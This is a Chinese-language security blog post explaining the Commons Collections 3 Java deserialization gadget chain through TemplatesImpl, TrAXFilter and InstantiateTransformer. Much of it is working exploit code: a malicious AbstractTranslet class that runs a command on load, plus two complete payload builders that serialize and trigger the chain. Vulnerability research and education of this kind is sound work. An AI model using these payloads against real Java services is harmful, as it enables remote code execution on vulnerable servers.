首页 > 编程语言 >Java反序列化-Commons Collections3利用链分析详解

Java反序列化-Commons Collections3利用链分析详解

时间:2024-11-16 11:48:21浏览次数:3  
标签:templates Collections3 Java java new org apache import 序列化

介绍

CC3 与 CC1 和 CC6 的主要区别在于,CC1 和 CC6 依赖反射机制来执行 Runtime.getRuntime().exec() 等危险命令,而如果服务器将这些方法列入黑名单,这两种方式就会失效。相比之下,CC3 通过类加载器动态加载恶意类来执行危险函数,绕过黑名单限制,从而达到命令执行的目的。

公众号:Tutu安全

环境

使用CC1作为尾链时,JDK版本 < 8u71;

使用CC6作为尾链则不受版本限制;

Commons Collections版本 <= 3.2.1;

<dependencies>
  <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
  </dependency>
</dependencies>

ClassLoader类加载

在Java中,ClassLoader 是核心组件,负责在 JVM 运行时动态加载类。
类加载的流程如下:

    • loadClass 是加载类的入口,首先会检查类有没有加载,如果未加载,会调用 findClass 方法进行查找。

    • findClass 负责查找类,它是一个抽象方法,在 ClassLoader 本身中只会抛出异常。实际执行时,会调用子类中具体实现的 findClass,根据不同的类加载器实现不同的逻辑,最后调用 defineClass 方法进行字节码转换。(以 NoCallStackClassLoader 为例)

    • defineClass 方法负责将字节码转换为 Class 对象,使其成为可用的 Java 类。

loadClass() -> findClass() -> defineClass()

代码分析

了解完 ClassLoader 的执行流程后,我们将重点放在 defineClass 方法上。之前分析中发现,defineClass 是 protected 权限,我们需要找到一个 public 权限的接口来调用。然而在 ClassLoader 中并没有找到,且同一文件中有多个 defineClass 方法。我们需要逐一查看有没有其他可控类调用了它。

1. 延用CC1/CC6

1.1. 捋清调用关系

最终在639行找到了 defineClass 被 TemplatesImpl 调用,但它是 default 权限,只能在包内访问。我们需要找包内是否有可以直接调用的地方。

在同一个类中,defineTransletClasses 方法调用了 defineClass ,但 defineClass 是 private 权限。我们需要找出谁调用了它。

继续在 TemplatesImpl.getTransletInstance 调用了 defineTransletClasses 方法。但要注意,只有 _class 为空时,才能进入 defineTransletClasses 。我们暂时不管它,继续往下找。

最终我们找到了可以直接调用的 newTransformer 方法,这里实例化了 TransformerImpl 类,把 getTransletInstance 传了进去。

OK,我们回头来整理一下流程:

    • defineClass -> defineTransletClasses -> getTransletInstance -> newTransformer

1.2. 绕过if判断

通过之前的分析,我们知道 defineTransletClasses 和 getTransletInstance 中有几个 if 判断。为了构成利用链,需要满足这些条件。我们要确保 getTransletInstance 能执行到 defineTransletClasses,所以 _name 不能为 null,并且 _class 必须为空。

跟进 _name 发现是私有属性,不能直接修改。我们可以在后续的 EXP 中利用反射来修改这些属性。

在 defineTransletClasses 方法中,_bytecodes(一个二维数组)和 _tfactory 都不能为 null,否则会导致调用方法时出现空指针异常。

由于 _tfactory 被 transient 修饰,在序列化时会变成 null,这就需要我们在反序列化后手动为其赋值。

经过分析,发现反序列化时会自动创建 TransformerFactoryImpl 并赋值给了 _tfactory,所以我们不需要再去鸟它。

回到 defineTransletClasses 方法,接着分析。这里对传入的 _bytecodes 数组进行了循环加载。

第一个 if 判断检查传入的恶意类是否包含 ABSTRACT_TRANSLET。如果匹配, _transletIndex 会被重新赋值,如果不匹配,会抛出异常。传入的恶意类必须继承 AbstractTranslet,这样才能通过条件判断。

1.3. 完善EXP

首先创建一个恶意类,并运行它以生成 target 目录下的 .class 文件。

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Calc extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
// 这俩玩意是继承它必须要重写的,我也不想多写但没办法
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

我们回到编写我们的 EXP 代码部分。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {

        TemplatesImpl templates = new TemplatesImpl();

        // _name 不为空 _bytecodes传入恶意类 测试阶段 _tfactory要手动实例化TransformerFactoryImpl对象
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nb666");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\Wang\\Desktop\\CC3\\target\\classes\\org\\example\\Calc.class"));
        byte[][] shellCode = {bytecodes};
        bytecodesField.set(templates,shellCode);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();

    }
}

1.4. TransformerImpl类分析

返回到 newTransformer 方法中,继续跟进 TransformerImpl 类。

继续往下看,可以发现它重写了transform方法,老熟人了。这时,我们可以利用之前在 CC1 或 CC6 中的代码,将它替换成我们想要的。

1.5. 完整的EXP

尾链部分使用的是 CC6 的利用链,前面的部分虽然不太一样,但后面和 CC6 一样。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {

        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nb666");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\Wang\\Desktop\\CC3\\target\\classes\\org\\example\\Calc.class"));
        byte[][] shellCode = {bytecodes};
        bytecodesField.set(templates,shellCode);
//
//        Field tfactoryField = c.getDeclaredField("_tfactory");
//        tfactoryField.setAccessible(true);
//        tfactoryField.set(templates,new TransformerFactoryImpl());

        Transformer[] transformers_test = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_test);

        Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "123");

        HashSet<Object> hashSet = new HashSet<>();
        hashSet.add(tiedMapEntry);

        lazyMap.remove("123");

        Class lazyClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field lzField = lazyClass.getDeclaredField("factory");
        lzField.setAccessible(true);
        lzField.set(lazyMap,new ChainedTransformer(transformers));


        serialize(hashSet);
        unserialize();
    }
    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }

    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
        return o;
    }
}

2. InstantiateTransformer

2.1. TrAXFilter

我们回到 TransformerImpl.newTransformer 中,继续查找其他调用 newTransformer 方法的类。经过分析,发现只有 TrAXFilter 类的构造方法调用了 newTransformer 方法。接下来,继续跟进分析这一部分。

TrAXFilter 类的构造方法中调用了 templates.newTransformer,而 templates 是我们可控的。

作者通过 InstantiateTransformer 构造了这条链,并跟进到 InstantiateTransformer 中。在其构造方法中,传入了一个类并赋值给 iParamTypes,然后在 transform 方法中,通过 getConstructor 调用 iParamTypes 的构造方法。

2.2. 编写EXP

从上面的分析可以看出,我们可以通过传入 TrAXFilter 来控制 getConstructor 调用 TrAXFilter 的构造方法,并将 TemplatesImpl 对象作为参数传入。然而,问题在于 TrAXFilter 并没有实现 Serializable 接口。回想一下CC1是怎么解决Runtime无法序列化的。TrAXFilter.java 不支持序列化,关我 TrAXFilter.class 什么事?

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {

        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nb666");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\Wang\\Desktop\\CC3\\target\\classes\\org\\example\\Calc.class"));
        byte[][] shellCode = {bytecodes};
        bytecodesField.set(templates,shellCode);

        Transformer[] transformers_test = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new TemplatesImpl[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_test);

        Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "123");

        HashSet<Object> hashSet = new HashSet<>();
        hashSet.add(tiedMapEntry);

        lazyMap.remove("123");

        Class lazyClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field lzField = lazyClass.getDeclaredField("factory");
        lzField.setAccessible(true);
        lzField.set(lazyMap,new ChainedTransformer(transformers));


        serialize(hashSet);
        unserialize();
    }
    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }

    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
        return o;
    }
}

标签:templates,Collections3,Java,java,new,org,apache,import,序列化
From: https://blog.csdn.net/m0_60442621/article/details/143791240

相关文章

  • java笔试题
    请指出下面程序的运行结果(62)publicclassTest{publicstaticvoidmain(String[]args){System.out.println(test());}publicstaticinttest(){try{return2;}catch(Exceptione){return4;......
  • 前端必知必会-JavaScript if、else 和 else if
    文章目录JavaScriptif、else和elseif条件语句if语句else语句elseif语句总结JavaScriptif、else和elseif条件语句用于根据不同的条件执行不同的操作。条件语句编写代码时,您经常希望针对不同的决策执行不同的操作。您可以在代码中使用条件语句来执行......
  • 前端必知必会-JavaScript Switch 语句
    文章目录JavaScriptSwitch语句JavaScriptSwitch语句break关键字default关键字常见代码块switch详细信息严格比较总结JavaScriptSwitch语句switch语句用于根据不同的条件执行不同的操作。JavaScriptSwitch语句使用switch语句从多个代码块中选择一个......
  • java根据时区转换获取时间的方法
    方法一:publicstaticvoidmain(String[]args){//假设这是从MySQL获取的UTC时间字符串StringutcTimeStr="2024-09-30T16:00:00Z";try{//解析UTC时间字符串DateTimeparsedDateTime=DateUtil.parse(utcTimeStr......
  • Java Web 过滤器和拦截器.
    概念过滤器即Servlet过滤器,参见Servlet过滤器入门示例。拦截器(Interceptor)通常是由特定的框架提供的,不是JavaEE标准的一部分。Spring提供了多种类型的拦截器,如方法拦截器(MethodInterceptor)和控制器拦截器(HandlerInterceptor)。方法拦截器可以用于AOP(面向切面编程),而控......
  • 【Pikachu】PHP反序列化RCE实战
    痛是你活着的证明1.PHP反序列化概述在理解PHP中serialize()和unserialize()这两个函数的工作原理之前,我们需要先了解它们各自的功能及其潜在的安全隐患。接下来,我会对相关概念做更详细的扩展解释。1.序列化serialize()序列化(serialization)是指将一个对象或数据......
  • javaScript交互补充3(JSON数据)
    3.1、JSON(1)、定义:JSON数据格式JavaScriptObjectNotation缩写即js对象表示法由于JS中的对象只有JS自己认识,其他的语言都不认识,所以引入了JSON,JSON就是一个特殊格式的字符串,这个字符串可以被任意的语言所识别,并且可以转换为任意语言中的对象,JSON在开发中主要用来数据的......
  • javaScript交互补充4(本地存储)
    localstorage、Sessionstorage是WebStorage,H5的本地存储机制。是本地存储,存储在客户端,以键/值对的形式存储的,通常以字符串存储。是针对HTML4中Cookie存储机制的一个改善,由于Cookie存储机制有很多缺点,HTML5不再使用它,转而使用改良后的WebStorage存储机制。4.1、Cookie(1......
  • javaScript交互补充(元素的三大系列)
    1、元素的三大系列1.1、offset系列1.1.1、offset初相识使用offset系列相关属性可以动态的得到该元素的位置(偏移)、大小等获得元素距离带有定位祖先元素的位置获得元素自身的大小(宽度高度)注意:返回的数值都不带单位offset系列常用属性offset系列属性作用element.offset......
  • 短视频app搭建,了解Java基本数据类型
    短视频app搭建,了解Java基本数据类型Java条件语句if…else一个if语句包含一个布尔表达式和一条或多条语句。//如果只有一条语句可以不用{}if(--)a=0;//多条语句需要{}if(--){a=0;b=0;}//if()的()里面填条件 if…else语句if语句后面可以跟else语句,当if......